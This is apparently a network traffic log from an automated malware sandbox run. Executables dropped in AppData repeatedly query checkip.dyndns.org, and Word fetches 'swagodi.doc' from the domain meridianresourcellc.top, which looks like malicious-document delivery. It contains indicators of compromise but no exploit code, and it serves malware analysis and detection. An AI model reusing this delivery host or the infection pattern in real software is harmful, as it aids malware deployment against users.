Jul 26, 2024 23:45:40.719506025 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:40 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c34cc12915724a1e95970801e2af4caa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:40.927472115 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:40 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c34cc12915724a1e95970801e2af4caa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49180	193.122.6.168	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:39.872224092 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:41.517668009 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d799f47d8bfb2cb5131f520a3987fe38 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49182	193.122.6.168	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:41.424787045 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:42.081131935 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73915a61552b4bb9a2d257ac1a11b9d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:42.291476011 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73915a61552b4bb9a2d257ac1a11b9d0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49184	132.226.8.169	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:42.547310114 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:43.327135086 CEST	272	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:43.539527893 CEST	272	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49185	193.122.6.168	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:42.548789978 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:44.186233044 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5591e8efab600566dfc849052e1c1a8b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:44.395447969 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5591e8efab600566dfc849052e1c1a8b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49187	158.101.44.242	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:44.480416059 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:45.059883118 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 25b1603cff26c8871a24ad2d29248270 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49190	193.122.6.168	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:45.178761959 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:46.833507061 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ec5a3eca9f3b6b326c167937f545a709 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:47.043627977 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ec5a3eca9f3b6b326c167937f545a709 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49191	132.226.247.73	80	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:45.711668968 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 23:45:46.386826992 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e11c1a38741ece346ca89fb883e912b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:46.605454922 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e11c1a38741ece346ca89fb883e912b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49195	193.122.130.0	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:47.523673058 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:47.997226000 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e4976ce56f7811441ff0405c1bd3f8c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:48.203905106 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e4976ce56f7811441ff0405c1bd3f8c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49197	132.226.247.73	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:48.703653097 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:49.378026962 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:49 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9bbb58a33e06dad190c725d08fbca39d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:49.587779999 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:49 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9bbb58a33e06dad190c725d08fbca39d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49199	132.226.247.73	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:50.071681023 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:51.685719967 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cfd3e4f5e9b15dce43411d6460999728 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:51.685988903 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cfd3e4f5e9b15dce43411d6460999728 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:51.686393023 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cfd3e4f5e9b15dce43411d6460999728 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:51.686778069 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cfd3e4f5e9b15dce43411d6460999728 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49201	193.122.130.0	80	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 23:45:52.398821115 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 23:45:52.860874891 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:52 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9b01ea5599a44c6e7894686bf275181f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 23:45:53.071516037 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:52 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9b01ea5599a44c6e7894686bf275181f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	104.21.52.88	443	748	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:05 UTC	145	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: meridianresourcellc.top Content-Length: 0 Connection: Keep-Alive
2024-07-26 21:45:05 UTC	719	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Allow: OPTIONS,HEAD,GET,POST,TRACE CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JSdlzVSvhbffSLDxpcUNtAwB1nj6QlHKiYOWrRI2O5Tzf6BmOo45RlFZRM2a4FsXeqN4pYpjX2L4xYUpmQoGJ85pHEMDL2VTQWbDD1FGR%2BdeuloELuGlVQZqvdH1Pjyy6KQeHxxQwcvcfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a9793222f1c0f90-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	172.67.197.72	443	748	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:08 UTC	135	OUT	HEAD /swagodi.doc HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: meridianresourcellc.top
2024-07-26 21:45:08 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:08 GMT Content-Type: application/msword Content-Length: 711568 Connection: close Last-Modified: Fri, 26 Jul 2024 01:21:05 GMT ETag: "66a2fa01-adb90" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 66361 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=25Bti9iVQ%2B%2Ftk8mT3m2hWfizwWK3pyWoosxGtt8QefgPfgtIQAPWCWVUrZkS03NNjtLnsi1FqgogWuITVYLM%2BablyKCDeIfVFNrrlf7Mp5v4jh0E2kZ9a9YV%2B7DNti8XC58P9UYl561RoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a979333f9fc4375-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.22	49163	104.21.52.88	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:12 UTC	140	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: meridianresourcellc.top
